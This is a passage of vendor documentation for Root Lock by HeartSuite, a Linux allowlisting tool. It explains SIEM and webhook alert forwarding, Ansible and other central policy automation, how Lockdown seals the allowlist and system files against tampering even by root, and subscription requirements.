
# filebeat-heartsuite.yml (adapt to your existing stack)
filebeat.inputs:
  - type: journald
    id: heartsuite-enforcement
    include_matches:
      - "SYSLOG_IDENTIFIER=heartsuite"
output.elasticsearch:
  hosts: ["https://your-elastic:9200"]
  # username, password, ssl.* etc. from your existing config
logging.level: warning

The journal identifier is heartsuite on every host. How you ship that identifier is stack-specific: Filebeat journald for Elastic, a universal forwarder or HEC for Splunk, a DSM for QRadar, promtail for Loki. The YAML below is an Elastic example, not a universal ingest path.

Pre-flight check on the host:

filebeat test config && filebeat test output

Direct rsyslog forwarding

Create /etc/rsyslog.d/heartsuite.conf:

:programname, isequal, "heartsuite" @@your-siem-host:514
# Use @ for UDP or the TLS modules for production

Then:

sudo systemctl restart rsyslog
journalctl -t heartsuite --since "1 minute ago"

Webhook (for PagerDuty, OpsGenie, Slack, etc.)

Enter an HTTPS URL in Webhook URL (must be HTTPS) on the Fleet tab. Root Lock posts a JSON payload on every alert (immediate delivery, no batching — let your receiver deduplicate). HTTP (non-TLS) URLs are rejected. When the URL contains pagerduty.com or opsgenie.com, the matching key field appears and Root Lock posts that vendor’s native format instead of the generic payload.

Example generic payload (a Lockdown block):

{
  "node_id":            "prod-web-03",
  "event_type":         "new_program_blocked",
  "timestamp":          "2026-03-31T14:22:00Z",
  "mode":               "Secure Mode",
  "lockdown":           true,
  "tier":               2,
  "paths":              ["/tmp/dropper", "/tmp/payload"],
  "count":              2,
  "message":            "2 previously unseen programs blocked.",
  "subscription":       "Active",
  "total_pending":      2,
  "pending_programs":   2,
  "pending_file_r":     0,
  "pending_file_w":     0,
  "pending_network":    0,
  "enrich_failed":      false
}

mode is the on-disk token ("Setup Mode" or "Secure Mode"). The Dashboard label for "Secure Mode" is Lockdown. lockdown is the seal boolean. tier is 1 when you switch Setup Mode or Lockdown, and for allowlist, backup-coverage, and kernel-module config changes. It is 2 for denied programs, files, and network.

Supported targets:

• PagerDuty Events API v2 (routing key field appears for pagerduty.com URLs)
• OpsGenie Incoming Webhook (API key field appears for opsgenie.com URLs)
• Slack Incoming Webhooks
• Generic HTTPS JSON receivers

Test Webhook ([w]) sends a test POST.

Status JSON (pull-based monitoring)

A passive, always-on snapshot is written every 60 seconds to ~/.cache/heartsuite/status.json. No Fleet setting turns this on or off.

Fields of particular interest for health checks:

• mode, is_hs_kernel, lockdown, daemon_ok, node_id
• pending_* counts (non-zero in Lockdown usually indicates something needs investigation)
• channel_errors (email, syslog, webhook), each with message and at

Tools that can consume it directly:

• Ansible facts / custom modules over SSH
• Nagios / Icinga / Zabbix (SSH or file checks)
• Any script that cats or jqs the file on a schedule

No configuration is required on the Root Lock side.

Policy and posture data in Elastic and Kibana

In addition to the enforcement and alert streams, Root Lock can emit structured policy and posture data — snapshots of the current allowlist and periodic reports of the host’s protection posture. When ingested into Elasticsearch, that data supports views of the allowlist across your fleet.

Use it for:

• Tables of approved programs with their exact file and network grants
• Counts of programs, broad-write risks while locked down, and reporting hosts
• Drift detection by comparing the stable record_hash across snapshots
• Filtering for higher-risk entries using risk_level, has_broad_write, has_network_grant, and lockdown_active_at_capture

Use the Dashboard for deliberate changes, review queues, and sealing on individual hosts. Use the central view for scanning, filtering, and correlating posture at fleet scale.

Production path on real hosts

On production hosts, ship enforcement and alert streams via syslog or Filebeat as described above. Ingest into your existing Elasticsearch cluster and build Kibana dashboards with your standard security, retention, and access controls. Alert Settings has no policy-or-posture export switch — Fleet configures syslog and webhook only. No separate HeartSuite download is required for this path.

tools/kibana-bridge (optional evaluation stack)

For lab, evaluation, and customer demos, HeartSuite offers tools/kibana-bridge/: an optional disposable Docker stack (Elasticsearch, Kibana, and a small ingest receiver) that turns Root Lock telemetry (apo_change, heartbeats, enforcement) into policy-centric Kibana views.

It is not installed by heartsuite-install.sh. Request an evaluation kit from support@heartsecsuite.com or use the materials included with your coordinated release delivery.

The bridge is a read-only insight plane that complements syslog enforcement streams. It does not replace them and is not required for production. Typical views include:

• A living allowlist table (one row per program_path with grant counts, risk_level, has_broad_write, has_network_grant, and related fields).
• KPI-style posture metrics (policy counts, broad-write risk while locked down, high-grant surface, recent blocks).
• Drift detection by comparing stable record_hash values across snapshots.
• Enforcement correlation for drill-down alongside policy rows.

The stack is localhost-only, security-disabled, and throwaway (docker compose down -v wipes volumes). Do not publish Kibana, Elasticsearch, or the ingest receiver on a public IP without a network perimeter — for example a cloud firewall allowlist of known lab addresses, or an SSH tunnel so the browser reaches only localhost.

Use the production path above for real access control, TLS, and retention.

Versus tools/siem-test/: These are sibling evaluation fixtures with different purposes (both available on request, not on production hosts):

They can run side by side on the same machine (different ports). Neither fixture is installed to /.hs/sys on hosts.

Quickstart (evaluation):

cd tools/kibana-bridge
docker compose up -d
docker compose run --rm setup
# Open http://localhost:5601 (or http://127.0.0.1:5601)

After setup, Kibana includes preconfigured data views:

• HeartSuite Policies — primary view for the living allowlist table (Lens tables, drift filters).
• HeartSuite Events — raw telemetry and event drill-down in Discover.

An optional imported dashboard, HeartSuite - Policy Overview, may also be present when saved objects are bundled with your checkout.

To feed live data during lab work, forward syslog or the evaluation-kit telemetry to the bridge ingest receiver, or ingest exported policy data into your production Elasticsearch using the same field model. Setup detail is included in the evaluation kit README shipped with tools/kibana-bridge/.

Pairing with Ansible central policy

The exported policy data model pairs with Ansible (or Terraform/GitOps) central policy: curate one allowlist in your repo, push via the heartsecurity.root_lock Ansible role, batch_record_add.py, or hs-manage-allowlist, and use Kibana tables, KPIs, and record_hash for fleet visibility and drift detection.

The bridge (or your production Elasticsearch deployment) is the read side. Your control plane remains the write path.

See Central Policy Management and External Control for Ansible role variables, seed application, harvest patterns, and composition with full server deployment playbooks.

Verification commands (run on the HeartSuite host)

# Recent alerts and enforcement decisions (journal identifier is heartsuite)
journalctl -t heartsuite --since "10 minutes ago"

# Status snapshot (for pull monitors)
cat ~/.cache/heartsuite/status.json | jq .

Relationship to the Dashboard

All channels are configured from the Dashboard: Alerts ([e]) opens Alert Settings. The Fleet tab is the place for syslog, webhook, and Setup Mode Alerts. Status JSON is written whenever the alert daemon is running. Email remains available as a supplementary or low-volume channel.

At fleet scale: syslog for the SIEM, webhook for incident response platforms, and Status JSON for infrastructure-as-code health checks. The Dashboard remains the place for initial setup, exception review, and maintenance — not for ongoing fleet monitoring.

Policy management is the inbound complement: your central systems curate and apply allowlists via the shipped CLI tools, pre-seeding, and automation patterns. See Central Policy Management and External Control.

Once at least one push channel is configured, you can proceed to Lockdown.

For the UI configuration steps in detail, see the parent Alert Settings page.

8.2 - Drive the allowlist from your own tooling

Overview: Root Lock by HeartSuite is designed to be driven by your existing central tooling. The Dashboard is the surface for a single host. Enterprises use their control planes to manage policy and observe at scale.

Cloud Path and Local Path remain how each host is installed. This page is not a different install. It is how you harvest a baseline, install that package on many hosts, and apply extras without a Dashboard session on every machine.

There is no built-in multi-host push from a HeartSuite server. Each host enforces its own allowlist, and Lockdown seals that allowlist on the device. Policy is applied per-host by your automation, with export surfaces for central consumption and attribution.

Keep policy curation, change approval, and fleet-wide visibility inside the tools you already run (Ansible, Terraform, GitOps repositories, ServiceNow, Splunk, Elastic, custom orchestration). The subscription activation step that enables Lockdown remains a per-host entitlement check. The content of the policy itself can be fully external.

Policy curation in your central systems

A repository you already run (usually Git, applied by Ansible, Terraform, or similar) owns the list of approved programs, file-access paths, and network destinations. A CMDB holds configuration items (hosts, apps), not that grant list. An ITSM ticket can approve a change; it is not the policy store.

• Generate or maintain policy as text lists (one absolute program path per line) or structured data that your automation can parse.
• Curate changes through your normal processes: code review in Git, change tickets in ServiceNow, or policy-as-code pipelines.
• Dense fleets (recommended): harvest an install-time allowlist baseline from one dense reference host, package Root Lock with that seed, then install via Ansible using the seeded package so initial setup is short — not a multi-hour observation period on every node.
• Post-install text lists (hs_seeds, batch_record_add.py) are for extras and program-path fleet reuse after install — they do not replace install-time allowlist pre-seed.

Two seed mechanisms (do not conflate)

Not required: re-apply a full harvested baseline via text hs_seeds or batch_record_add.py after initial setup on the same host class. That does not skip a multi-hour observation period; use install-time allowlist pre-seed for that.

Useful text seeds: role-scoped bootstrap lists (for example SSH and app entrypoints), stack extras after residual queue review, and hosts that never observed those paths.

Recommended order (dense / fleet — seed first)

1. Reference host: one machine of this class finishes initial setup, runs the real dense workload, residual queues reviewed (pay the multi-hour observation period once if the host was seed-off).
2. Harvest installer allowlist baseline from that host with vendor harvest / packaging tooling (file and grant material for install-time pre-seed — not a program-path text list alone). Ansible may orchestrate collection over SSH; the artifact is still installer baseline, not hs_seeds.
3. Review and promote the baseline into your package pipeline.
4. Build or obtain a Root Lock install package with baseline pre-seed enabled (for example installer option --apo-seed / packaged baseline). Default customer packages may be seed-off until you enable this.
5. Clean OS on each fleet node.
6. Ansible installs Root Lock using that seeded package (point the playbook’s install bundle at the pre-seeded installer). Initial setup uses the seed and finishes quickly.
7. Deploy application / hardening automation; residual Dashboard review for deltas only.
8. Optional: post-install text program lists for extras (hs-manage-allowlist list → review → hs_seeds / batch_record_add.py).
9. Activate Lockdown only when subscription, alerts, and queue gates are ready.

Cold path (first reference only)

Clean OS → install without baseline pre-seed → long initial setup on a dense host → residual review → harvest baseline (step 2 above) → all later hosts use the dense / fleet order.

Pending queue items are not grants until approved. Do not treat tester or one-shot pollution paths as production fleet seed.

Applying policy from automation

Use the CLI tools shipped with every installation (documented in the Appendices and Batch Allowlisting Tools) to apply post-install policy from your control plane. These tools do not replace install-time baseline pre-seed packaging:

• hs-manage-allowlist — inspect current state, add or remove specific entries for programs, file paths, and network destinations.
• batch_record_add.py — bulk-seed programs from a plain-text list of paths (adds each with standard library and configuration directories).

Run these tools over SSH, via config-management agents, or as part of provisioning scripts after Root Lock is installed and initial setup is complete. Your central system prepares the seed data or change set; the automation layer delivers and applies it to each target host.

Subscription activation (hs-activate-subscription) is still required on each host before Lockdown can be engaged — this is the entitlement step and remains local.

Examples for the primary integration patterns follow.

1. Ansible — playbooks for seeding and applying policy

HeartSuite provides an official declarative Ansible role (heartsecurity.root_lock) for fleet policy application and Lockdown transitions. It is modelled on linux-system-roles.selinux and ships with coordinated release materials; email support@heartsecsuite.com if you need the role package.

On every installed host, the limited_tools Python API under /opt/heartsuite is the runtime integration surface the role uses. A shell-and-CLI alternative using batch_record_add.py and hs-manage-allowlist follows below for ad-hoc or legacy playbooks.

Official Ansible role: heartsecurity.root_lock

Overview: The role provides variable-driven management of allowlist programs and mode transitions. Re-running a play does not create duplicate entries. It is modelled on linux-system-roles.selinux (and rhel-system-roles.selinux) so administrators familiar with RHEL declarative SELinux policy can apply the same playbook patterns.

The role assumes Root Lock is already installed. It focuses on allowlist management plus mode transitions (Setup Mode / Lockdown). Full server provisioning — base OS preparation, hardening (for example the dev-sec collection), SFTP receiver setup, bundle-based installation, and post-install configuration — belongs in thin orchestrator playbooks that compose heartsecurity.root_lock with upstream collections and host-specific tasks.

A reference provisioning example for a Debian 12 server is in the code repository under ansible/examples/hs-debian12-provision/. The pattern: install Root Lock (the example does not replace initial setup with a full text re-seed), start with a minimal role-scoped bootstrap allowlist via seed file, run the real workload, harvest observed extras from Setup Mode after residual review, maintain them in a seed file, and re-apply via the role for hosts that need those paths.

Requirements:

• Root Lock already installed on managed hosts (the role does not install the product).
• Prefer initial setup finished before applying workload hs_seeds / stack playbooks that assume a reviewed baseline.
• become: true — all operations are privileged.
• Ansible >= 2.9.
• The role invokes the production Python API in /opt/heartsuite (limited_tools via /opt/heartsuite/venv/bin/python3 and /opt/heartsuite/src).

hs_seeds / hs_programs are post-install text program lists. They are not install-time allowlist baseline packaging and not a binary policy file drop-in. Leave hs_state unset until subscription, alerts, and queue gates are ready for Lockdown.

Key variables (all prefixed hs_ to avoid collision with SELinux role variables):

Additional variables include hs_gather_status (default true, exposes hs_status fact), hs_purge / hs_purge_allowlist (currently emit a warning only — the scriptable surface is additive by design), and hs_python / hs_src_path overrides for non-standard install layouts.

Re-run behaviour: All allowlist operations return CommandResult with kind == "noop" when an entry is already present. The role uses this for correct changed_when reporting, so repeated plays do not show spurious changes.

Minimal example playbook:

# heartsuite-root-lock.yml
- name: Configure HeartSuite allowlist and engage Lockdown
  hosts: heartsuite_fleet
  become: true
  vars:
    hs_state: secure
    hs_programs:
      - /usr/sbin/sshd
      - /usr/bin/python3
    hs_seeds:
      - /var/lib/ansible/heartsuite/seed.txt
  roles:
    - heartsecurity.root_lock

After switching to secure or lockdown, a reboot is typically required for full seal; the role does not reboot automatically. Register facts (hs_status, hs_apply_result, hs_switch_result) are available for assertions or subsequent tasks.

Python API alternative: For custom Ansible modules or non-Ansible automation, the same functions are exposed via limited_tools: approve_program_path, apply_allowlist_seed, get_status, get_allowlist_programs, and switch_to_secure. These reuse the same gates and CommandResult semantics.

The heartsecurity.root_lock role is the preferred declarative path for post-install allowlist and mode work. Use the Python API (or thin custom tasks) when composing larger provisioning playbooks that also handle OS setup, hardening, or host-specific services.

See the reference provisioning starter in the code repository (ansible/examples/hs-debian12-provision/) for composition: it delegates SSH/SFTP hardening to the dev-sec collection, performs bundle-based installation, registers backup directories and alert configuration, starts with a minimal allowlist bootstrap, and shows how to harvest from real workload observation into a seed file before using the role for allowlist and mode.

Register playbooks as the mechanism that executes change records approved in your central system.

Shell + register alternative

Use Ansible to distribute seed files and invoke the batch or management tools with become: true:

# heartsuite-policy-apply.yml
- hosts: heartsuite_fleet
  become: true
  tasks:
    - name: Copy central program seed list
      copy:
        src: "policy/seeds/programs-{{ inventory_hostname }}.txt"
        dest: "/tmp/heartsuite-programs.txt"
        owner: root
        mode: '0600'

    - name: Apply baseline programs via batch tool
      shell: "/.hs/sys/batch_record_add.py /tmp/heartsuite-programs.txt"
      args:
        creates: "/.hs/sys/allowlist_applied_{{ inventory_hostname }}.stamp"

    - name: Apply targeted network and file deltas from central policy
      shell: |
        hs-manage-allowlist add -x /usr/bin/curl -n 93.184.216.34
        hs-manage-allowlist add -r /etc/ssl/certs -w /var/log/app
      # Idempotency and error handling left to your playbook

    - name: Record application in central audit
      shell: "hs-manage-allowlist list > /tmp/current-allowlist-{{ inventory_hostname }}.txt"
      delegate_to: localhost
      # Then copy or commit the harvest back to your policy repo

This pattern does not use CommandResult.kind == "noop" for changed_when. Implement your own re-run checks (for example creates, or register + conditional tasks).

2. Splunk / Elastic (and similar SIEMs) — ingesting for central dashboards and policy triggers

The primary use of Splunk and Elastic is consumption of the structured data streams (see SIEM and Fleet Integration). Once events are in the SIEM:

• Build dashboards showing per-node mode, pending counts (from status.json), block rates, and approval activity (from the JSONL approval log forwarded via syslog or other shipper).
• Build views of the current allowlist and associated risks from the structured policy snapshots and posture data, including tables of programs with grant counts, risk_level, broad-write and network flags, and record_hash for drift detection.
• Use SOAR playbooks or alert actions in the SIEM to trigger Ansible Tower / AWX jobs or Terraform runs that apply approved policy updates back to affected hosts.
• Correlate HeartSuite enforcement events with change tickets to close the audit loop.

Syslog is the recommended high-volume path for both the per-decision enforcement stream and higher-level alerts. For richer views of the allowlist and posture (tables, metrics, and correlation) see SIEM and Fleet Integration.

3. Terraform + GitOps — policy in repository, applied at provision and drift remediation

Store allowlist seeds and change manifests in the same Git repository as your infrastructure code.

• Use Terraform local_file or templatefile to render per-host or per-role seed files from a central policy definition.
• During terraform apply, a remote-exec provisioner, local-exec that calls Ansible, or a custom provider runs the seed application and hs-manage-allowlist invocations on the new or updated instance.
• Drift detection: scheduled jobs (or Terraform Cloud/Enterprise runs) harvest current state via hs-manage-allowlist list or cat ~/.cache/heartsuite/status.json, compare against the repo, and open PRs or apply corrections.
• Git history becomes the authoritative change record for policy; the on-host JSONL approval log provides the per-host attribution of when and by which uid/tty the change was executed.

This pattern works especially well for immutable or frequently reprovisioned fleets.

4. ServiceNow or ITSM platforms — change-driven policy

• Model allowlist additions, removals, or baseline updates as standard or emergency change requests.
• Approved changes update the Git (or equivalent) policy repository, then automation applies them per host.
• The automation (Ansible, scripts, or ServiceNow Flow Designer + MID server) applies the delta to the target hosts using the CLI tools above.
• On completion, the automation closes the change ticket and posts the resulting JSONL approval log excerpts (or a pointer to the SIEM record) as evidence.

This keeps policy changes inside the same approval workflow used for all other infrastructure changes.

5. Custom scripts and other configuration management (Puppet, Chef, Salt, etc.)

Any tool that can copy files and run commands as root on the target can drive policy:

• Puppet: a custom resource or exec that writes a seed list managed by Hiera or PuppetDB and then invokes batch_record_add.py or hs-manage-allowlist.
• Chef: a recipe that templates policy from a data bag and executes the CLI tools.
• Pure scripts (Python, Bash, or your language of choice) run from a central runner or cron on a bastion: query the authoritative policy store, compute the diff for each host (or use a node-specific tag), SSH in, and apply.

The dedicated JSONL approval log (with uid/tty attribution for each change) and the enforcement/alert syslog streams give you the same audit trail regardless of which tool performed the apply.

Consuming data for central visibility, auditing, and harvesting

Status JSON and the JSONL approval log are written whenever the alert daemon is running. Syslog is off until you enable it on Alert Settings → Fleet. Webhook requires an HTTPS URL on that same tab.

• Status JSON (~/.cache/heartsuite/status.json, updated every 60 seconds) — lightweight pull surface for health and pending counts. Use from Ansible facts, Nagios/Zabbix checks over SSH, or any scheduled collector. Key fields for fleet dashboards: mode, lockdown, is_hs_kernel, daemon_ok, pending_* counts, node_id. See the schema in the Appendices.

• Dedicated JSONL approval log (/var/log/heartsuite/allowlist-audit.log) — persistent, append-only record of every allowlist approval (not skips or removals) with timestamp, uid, and tty. This is the primary artifact for change attribution. Forward that file with your existing log shipper. It is not copied into syslog.

• Structured syslog streams — when Fleet Syslog is on, denial lines (HS-PROG-DENY, HS-FILE-DENY, and similar) and aggregated alerts (new_program_blocked, mode changes) share ident heartsuite. Alert lines use the message prefix heartsuite-alert:. A single rsyslog rule forwards both. Full configuration examples and Filebeat patterns are in the SIEM and Fleet Integration page.

• Webhook — HTTPS POST of compact JSON alert payloads on every significant event. Configure the endpoint in Alert Settings; use for immediate routing into ServiceNow, PagerDuty, or your own policy-evaluation service.

• Harvest current allowlist state — run hs-manage-allowlist list (or the equivalent Dashboard export) on a schedule or on demand and commit the output to your central policy repository. This closes the loop: central sees what is actually enforced on each host and can detect drift or feed the next baseline.

See Alert Settings for configuration of syslog and webhook (Fleet tab) and SIEM and Fleet Integration for production-scale ingestion patterns.

Relationship to the Dashboard and Lockdown

The Dashboard remains the right surface for one-off investigation, initial setup on a new host, and guided maintenance windows. At fleet scale, routine policy application and observation move to your central tooling.

Lockdown is still activated per host (after subscription activation and alert-channel prerequisites). Once active, the kernel and the immutable seal protect the applied policy exactly as they do for Dashboard-driven changes. Alerts for pending programs while Lockdown stays applied fire on all configured channels.

Central automation drives allowlist policy and first install. It does not lift Lockdown.

• Similar hosts, first install: harvest once, package with install-time pre-seed, Ansible installs that package — the order above.
• Already in Lockdown: the official role does not unseal. hs_state: setup leaves mode unchanged. Package installs and Root Lock bundle updates wait for Setup Mode — Protecting During Maintenance and Updating Root Lock.
• Many locked hosts: reprovision from an updated image rather than a console session per node — Enterprise Adoption Guide.

Next steps and related documentation

• Configure the base alert channels on a pilot host: Alert Settings
• Review the CLI tools available for automation: Batch Allowlisting Tools and Appendices.
• Set up log ingestion: SIEM and Fleet Integration.
• Understand maintenance windows, unseal, and fleet image reprovision: Maintenance.
• Compliance context for auditors: SOC 2 Control Mapping and Compliance Reference: NIST CSF & ISO 27001.

For support with large-scale or custom automation patterns, contact support@heartsecsuite.com.

9 - Lockdown seals the allowlist, including from root

Overview: When you lock down from Setup Mode, Root Lock by HeartSuite blocks every program not on the allowlist, including any you forgot to approve, including as root.

The Dashboard guides activation through a precondition checklist and a typed YES. Lockdown then seals the allowlist with filesystem immutability (chattr +i): no program or user, including root, can modify it while the server is running.

System states

Root Lock has two modes: Setup Mode and Lockdown. Both run on the Root Lock kernel. Lockdown is one event: blocking turns on and the configuration is sealed.

Booting the original maintenance kernel is not a Root Lock mode. It is the machine running without Root Lock.

The indicator at the top of the Dashboard shows the current protection state, and the Suggested Next Step tells you what to do next.

If the strip says Lockdown not applied while programs are already being blocked, that is not a chosen posture. It is a broken or unfinished seal. Open Maintenance ([m]).

Trust graduation across modes

Each mode defines a different trust boundary.

In Setup Mode, you are trusted to teach the allowlist — anything not on the allowlist is logged but not blocked.

In Lockdown, trust is withdrawn from running programs regardless of which user runs them. Any program, including one running as root, must be on the allowlist. Your ability to change that allowlist at runtime is also withdrawn — configuration is sealed until Maintenance unseals it so you can install software or edit files.

Protection state

The indicator at the top of the Dashboard reflects the current protection state:

Setup Mode and Lockdown

Lockdown activation stays locked until the earlier checklist items are complete. The Dashboard tracks progress and shows Lockdown as the Suggested Next Step when it is available.

The Dashboard prevents Lockdown activation until the review queues are empty, alerts are configured, the subscription is active, heartsuite.service is enabled, and the allowlist has been quiet for three days (no newly discovered programs, file paths, or network destinations). If any precondition is not satisfied, Lockdown ([l]) displays “Lockdown is not available yet” and lists what remains. [s] skips the three-day settling countdown only. Pending review queues must still be empty.

If you have not added the necessary access permissions or network address permissions to allowlist entries, Root Lock will block programs from accessing those files and network addresses when you activate Lockdown.

Once setup is complete, stay in Setup Mode for several days. File and network activity continues to appear in the review queues, so you can approve a more complete allowlist before Lockdown.

When installing new software, return to Setup Mode first. The Debian package manager dpkg creates temporary directories during installation. In Lockdown, that write fails and the installation halts. The temporary directory is gone before it can be added to an allowlist entry.

Open Maintenance ([m]) before using dpkg, add any additional access permissions needed, then lock down again from Lockdown ([l]).

One host can run many approved programs under Lockdown. Replacing those program files, or installing packages that write new files, still takes Setup Mode — the same Maintenance path, once. Many locked hosts reprovision from an updated image instead; see Maintenance and Enterprise Adoption Guide.

graph TD
    A["Dashboard: Lockdown Checklist complete"] --> B["Queues empty, alerts on, subscription active"]
    B --> C["Lockdown [l] — review grants, then type YES"]
    C --> D["Probe reboot — queues must stay clear"]
    D --> E["Seal reboot — at the boot menu, do nothing"]
    E --> F["Lockdown applied"]
    F --> G{Maintenance needed?}
    G -->|"Yes"| H["Maintenance [m] — console, pick Maintenance: unseal and return to Root Lock"]
    H --> I["Setup Mode — make changes, review new activity"]
    I --> C
    G -->|"No"| J["Stay in Lockdown"]

    style A fill:#eee,stroke:#888
    style B fill:#eee,stroke:#888
    style C fill:#eee,stroke:#888
    style D fill:#eee,stroke:#888
    style G fill:#eee,stroke:#888
    style H fill:#eee,stroke:#888
    style I fill:#eee,stroke:#888
    style E fill:#d4f4dd,stroke:#2a7a40
    style F fill:#d4f4dd,stroke:#2a7a40
    style J fill:#d4f4dd,stroke:#2a7a40

Switching between modes

Dashboard-first Lockdown activation

The Dashboard is where you activate Lockdown. When all preconditions are met, the Suggested Next Step offers Lockdown activation. The precondition checklist includes:

• All review queues are empty (Programs [p], File Access [f], Internet Access [i])
• Earlier checklist items are complete (Program Allowlisting through Alert Settings)
• Subscription is active
• heartsuite.service is enabled so the seal can engage on the next boot
• Three days with no newly discovered programs, paths, or destinations — or [s] to skip that countdown

Activating Lockdown

From the Dashboard, select Lockdown ([l]). The Dashboard shows a precondition checklist, an observation period summary, and a review of your allowlist. Before you type YES, you can still change specific grants:

• [u] undo auto-narrowed install write grants (HeartSuite install tree only)
• [m] undo auto-narrowed kmod directory grants
• [b] undo auto-narrowed broad write grants
• [g] undo auto-narrowed file-write tool (GTFOBins) grants
• [y] undo auto-narrowed root grants on /
• [t] opt out of restricting rm, cp, and mv to the directories they used during Setup
• [c] add HeartSuite install paths to the Lockdown seal
• [x] exclude specific write-conflict paths from the seal; [n] put an excluded path back
• [d] undo a recursive seal on a broad directory
• SSH hardening ([h]) and SSH during Lockdown ([r] / [j])
• inbound permit selection ([o] / [a]); [k] removes recorded permits

If you do nothing, HeartSuite narrows those grants when Lockdown finalizes.

The commitment summaries and, after Lockdown, the Lockdown Inventory ([l]) are read-only. Change grants on the activation view, not on the inventory. When all preconditions are met, type YES (case-sensitive) to confirm.

(The screenshot shows the checklist and the YES field. Grant changes use the keys listed above.)

YES does not seal the machine on this boot. It starts a probe reboot. The Dashboard copy is “Probe reboot. Verifying queues stay clear.” At that boot menu, do nothing. Wait. Do not select Maintenance.

If the queues stay clear, Root Lock finalizes Lockdown and reboots again to apply the seal. When the Dashboard is still open after finalize, it offers:

• [r] Reboot now: Lockdown will be applied

That second reboot is the seal. Again: at the boot menu, do nothing. Default is Root Lock. Do not select Maintenance.

Lockdown then persists on every Root Lock kernel boot. To make changes, use Maintenance ([m]).

After Lockdown: Lockdown Inventory

Once Lockdown is applied, Lockdown ([l]) opens the Lockdown Inventory. It is read-only. It answers what is sealed. It does not return you to Setup Mode.

Making changes after Lockdown

From the Dashboard, open Maintenance ([m]). After Lockdown, that path requires physical or serial-console access.

1. Reboot from the console, not over SSH.
2. At the boot menu, select Maintenance: unseal and return to Root Lock.
3. The seal lifts automatically. The machine returns to the Root Lock kernel in Setup Mode. You do not stay on the maintenance kernel, and you do not press a key to remove flags.
4. Make your changes. New activity appears in the review queues.
5. Lock down again from Lockdown ([l]).

See Protecting During Maintenance for the safety checklist and isolation choices.

Do not use Lockdown ([l]) to remove Lockdown. That key opens the inventory.

Lockdown: sealing the system

Lockdown seals Root Lock’s configuration with filesystem immutability, so a compromised root account cannot tamper with the allowlist while the machine runs. The seal is system-wide: configuration, system files, accounts, scheduled tasks, and the maintenance tools themselves — all sealed in one step.

What Lockdown seals

Once Lockdown is engaged, Root Lock seals these categories at once, using chattr +i. Before you confirm, the Dashboard shows the paths that will be sealed, grouped by category with counts. The list is for review only.

• Installation integrity — HeartSuite install paths under /opt/heartsuite, plus allowlist files and the mode state. Defends against allowlist tampering and replacing Root Lock code that runs as root at login.
• System integrity — shared libraries (/usr/lib/), /boot, systemd unit directories, the SSH server config, and sudo policy. Defends against shared-library injection, malicious systemd units, and SSH or sudo policy weakened by a brief root compromise.
• Authentication — the account database (/etc/passwd, /etc/shadow, /etc/group) and no-login shells. Defends against an attacker who already has root creating accounts, changing passwords, or converting service accounts into interactive logins.
• Boot-window persistence — cron and anacron configuration, environment defaults, and root’s shell profiles. Defends against an attacker scheduling a script to run after a reboot but before Lockdown re-engages, and against bash-profile backdoors that run on the next root login.
• Maintenance tools — file editors (nano, vim, sed, ed) made non-executable, and rm/cp/mv replaced with restricted copies whose write access is limited to the paths Root Lock saw those tools used for during Setup Mode. Defends against a compromised approved program leveraging admin tools that run with their own broad scope, not the caller’s.

Lockdown also seals every program on the allowlist, so those binaries cannot be swapped while the machine is running.

After Maintenance unseals and you are back in Setup Mode, the Dashboard and hs-manage-allowlist may show temporary write grants covering some of the paths that Lockdown normally seals. Those grants exist only while the seal is lifted. The exact paths sealed by default appear in the inventory shown during activation, or in the Compliance Quick Reference. Adjust grants before you type YES, not on the inventory.

If the Root Lock kernel fails to load, the startup script isolates the primary network interface and removes all immutable flags. The machine is then without Root Lock protection and without network access. Recovery requires booting to the maintenance kernel from physical or serial-console access, repairing or replacing the failed kernel, and locking down again.

Once Lockdown is on, root cannot change the immutability flags. The kernel disables chattr. This means no allowlist entries, configuration files, or protected directories can be modified, deleted, or added while Lockdown is active.

Lockdown persists across reboots — the startup script re-engages it automatically each time the Root Lock kernel starts. There is no Dashboard toggle to leave that automatic re-engagement on a normal install.

The filesystem immutability applied by Lockdown via chattr +i is a flag stored on disk, not in kernel memory. Immutable flags therefore persist across reboots, including a reboot that reaches the maintenance kernel, until Maintenance (or HS_unlock.sh in recovery) clears them.

What this closes off

Two of the seals close attacks that are easy to miss.

Compromised programs cannot borrow another program’s tools. When an approved web server runs rm, the deletion uses rm’s permissions, not the web server’s. rm legitimately needs broad access during maintenance — so its allowlist is broad.

A compromised approved program could otherwise borrow that breadth. Lockdown replaces rm with limited_rm, whose own write paths cover only what was observed using rm during Setup Mode. Same for cp and mv. Opt out of that restriction with [t] before YES if you must.

Nothing planted before the reboot survives it. Lockdown engages after boot — there is a brief gap between the machine coming up and the seal taking hold.

Without sealing cron, anacron, environment defaults, and root’s shell profiles, an attacker who already had root before a reboot could plant a script to run in that gap. With those files sealed during the prior Lockdown, the script never reaches them — and on the next boot, nothing has changed.

Automatic Lockdown on boot

By default, the startup script re-engages Lockdown automatically on every Root Lock kernel boot. Once active, rebooting the Root Lock kernel will engage Lockdown before you can prevent it.

To install software or edit sealed files, boot the Maintenance entry from the console as described above. That procedure is in Protecting During Maintenance.

Restoring mutability after Lockdown

You can make files and directories mutable again once Lockdown is no longer active. Maintenance ([m]) does this automatically when you select Maintenance: unseal and return to Root Lock at the console. For recovery outside the Dashboard, run HS_unlock.sh.

If you try to write to an immutable file without removing the flags first, you will encounter the error “could not open file; errno:1.”

If automatic GRUB configuration does not apply (Alpine or an unsupported bootloader), the Dashboard displays the exact entry to select manually. That selection requires physical or serial-console access.

Lockdown commands

These are the actual scripts Lockdown uses. Most users never invoke them directly — the Dashboard’s Lockdown ([l]) and Maintenance ([m]) run them for you.

• HS_lockdown.sh — runs when Lockdown is applied, and automatically on every Root Lock kernel boot after that. It seals Root Lock’s configuration with chattr +i, disables file editors, then engages Lockdown via the kernel. Restricted rm/cp/mv copies are prepared during finalize, then sealed by this script.
• HS_unlock.sh — reverses HS_lockdown.sh. Maintenance runs this for you on the unseal path. Run it yourself only for recovery outside the Dashboard.
• hs-unlock-progs — internal helper called by HS_unlock.sh. Not invoked directly in normal use.

There is no separate CLI for changing mode. Use Lockdown ([l]) and Maintenance ([m]) on the Dashboard.

Setup is complete. When you need to install software or recover from Lockdown, see Maintenance. To replace the Root Lock kernel, see Updating Root Lock.

10 - A subscription is what turns on Lockdown

Overview: A subscription is required to activate Lockdown on Root Lock by HeartSuite. The Dashboard shows subscription status alongside checklist progress and alerts.

Subscription

A subscription is required before you can activate Lockdown. The Dashboard also keeps Lockdown locked until the prior checklist items are complete. See Lockdown for the activation flow.

The subscription is a text file. One subscription can cover up to 9999 servers — at purchase, you specify how many servers it covers. You can purchase additional subscriptions if needed.

